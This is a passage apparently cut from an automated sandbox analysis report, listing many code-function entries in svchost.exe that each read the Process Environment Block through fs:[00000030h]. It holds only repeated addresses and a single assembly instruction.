Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F61C3 mov eax, dword ptr fs:[00000030h]	2_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F61C3 mov eax, dword ptr fs:[00000030h]	2_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03770185 mov eax, dword ptr fs:[00000030h]	2_2_03770185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC188 mov eax, dword ptr fs:[00000030h]	2_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC188 mov eax, dword ptr fs:[00000030h]	2_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4180 mov eax, dword ptr fs:[00000030h]	2_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4180 mov eax, dword ptr fs:[00000030h]	2_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375C073 mov eax, dword ptr fs:[00000030h]	2_2_0375C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732050 mov eax, dword ptr fs:[00000030h]	2_2_03732050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6050 mov eax, dword ptr fs:[00000030h]	2_2_037B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6030 mov eax, dword ptr fs:[00000030h]	2_2_037C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A020 mov eax, dword ptr fs:[00000030h]	2_2_0372A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C020 mov eax, dword ptr fs:[00000030h]	2_2_0372C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4000 mov ecx, dword ptr fs:[00000030h]	2_2_037B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0372C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037720F0 mov ecx, dword ptr fs:[00000030h]	2_2_037720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0372A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037380E9 mov eax, dword ptr fs:[00000030h]	2_2_037380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B60E0 mov eax, dword ptr fs:[00000030h]	2_2_037B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B20DE mov eax, dword ptr fs:[00000030h]	2_2_037B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F60B8 mov eax, dword ptr fs:[00000030h]	2_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C80A8 mov eax, dword ptr fs:[00000030h]	2_2_037C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373208A mov eax, dword ptr fs:[00000030h]	2_2_0373208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738770 mov eax, dword ptr fs:[00000030h]	2_2_03738770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730750 mov eax, dword ptr fs:[00000030h]	2_2_03730750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE75D mov eax, dword ptr fs:[00000030h]	2_2_037BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772750 mov eax, dword ptr fs:[00000030h]	2_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772750 mov eax, dword ptr fs:[00000030h]	2_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4755 mov eax, dword ptr fs:[00000030h]	2_2_037B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov esi, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov eax, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov eax, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov eax, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov ecx, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov eax, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AC730 mov eax, dword ptr fs:[00000030h]	2_2_037AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C720 mov eax, dword ptr fs:[00000030h]	2_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C720 mov eax, dword ptr fs:[00000030h]	2_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730710 mov eax, dword ptr fs:[00000030h]	2_2_03730710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760710 mov eax, dword ptr fs:[00000030h]	2_2_03760710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C700 mov eax, dword ptr fs:[00000030h]	2_2_0376C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037347FB mov eax, dword ptr fs:[00000030h]	2_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037347FB mov eax, dword ptr fs:[00000030h]	2_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_037BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B07C3 mov eax, dword ptr fs:[00000030h]	2_2_037B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037307AF mov eax, dword ptr fs:[00000030h]	2_2_037307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D678E mov eax, dword ptr fs:[00000030h]	2_2_037D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03762674 mov eax, dword ptr fs:[00000030h]	2_2_03762674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F866E mov eax, dword ptr fs:[00000030h]	2_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F866E mov eax, dword ptr fs:[00000030h]	2_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A660 mov eax, dword ptr fs:[00000030h]	2_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A660 mov eax, dword ptr fs:[00000030h]	2_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374C640 mov eax, dword ptr fs:[00000030h]	2_2_0374C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E627 mov eax, dword ptr fs:[00000030h]	2_2_0374E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03766620 mov eax, dword ptr fs:[00000030h]	2_2_03766620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768620 mov eax, dword ptr fs:[00000030h]	2_2_03768620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373262C mov eax, dword ptr fs:[00000030h]	2_2_0373262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772619 mov eax, dword ptr fs:[00000030h]	2_2_03772619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE609 mov eax, dword ptr fs:[00000030h]	2_2_037AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B06F1 mov eax, dword ptr fs:[00000030h]	2_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B06F1 mov eax, dword ptr fs:[00000030h]	2_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037666B0 mov eax, dword ptr fs:[00000030h]	2_2_037666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0376C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734690 mov eax, dword ptr fs:[00000030h]	2_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734690 mov eax, dword ptr fs:[00000030h]	2_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738550 mov eax, dword ptr fs:[00000030h]	2_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738550 mov eax, dword ptr fs:[00000030h]	2_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6500 mov eax, dword ptr fs:[00000030h]	2_2_037C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037325E0 mov eax, dword ptr fs:[00000030h]	2_2_037325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C5ED mov eax, dword ptr fs:[00000030h]	2_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C5ED mov eax, dword ptr fs:[00000030h]	2_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037365D0 mov eax, dword ptr fs:[00000030h]	2_2_037365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E5CF mov eax, dword ptr fs:[00000030h]	2_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E5CF mov eax, dword ptr fs:[00000030h]	2_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037545B1 mov eax, dword ptr fs:[00000030h]	2_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037545B1 mov eax, dword ptr fs:[00000030h]	2_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E59C mov eax, dword ptr fs:[00000030h]	2_2_0376E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732582 mov eax, dword ptr fs:[00000030h]	2_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732582 mov ecx, dword ptr fs:[00000030h]	2_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764588 mov eax, dword ptr fs:[00000030h]	2_2_03764588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC460 mov ecx, dword ptr fs:[00000030h]	2_2_037BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372645D mov eax, dword ptr fs:[00000030h]	2_2_0372645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375245A mov eax, dword ptr fs:[00000030h]	2_2_0375245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A430 mov eax, dword ptr fs:[00000030h]	2_2_0376A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C427 mov eax, dword ptr fs:[00000030h]	2_2_0372C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037304E5 mov ecx, dword ptr fs:[00000030h]	2_2_037304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037644B0 mov ecx, dword ptr fs:[00000030h]	2_2_037644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_037BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037364AB mov eax, dword ptr fs:[00000030h]	2_2_037364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CB7E mov eax, dword ptr fs:[00000030h]	2_2_0372CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6B40 mov eax, dword ptr fs:[00000030h]	2_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6B40 mov eax, dword ptr fs:[00000030h]	2_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FAB40 mov eax, dword ptr fs:[00000030h]	2_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D8B42 mov eax, dword ptr fs:[00000030h]	2_2_037D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EB20 mov eax, dword ptr fs:[00000030h]	2_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EB20 mov eax, dword ptr fs:[00000030h]	2_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F8B28 mov eax, dword ptr fs:[00000030h]	2_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F8B28 mov eax, dword ptr fs:[00000030h]	2_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EBFC mov eax, dword ptr fs:[00000030h]	2_2_0375EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_037BCBF0
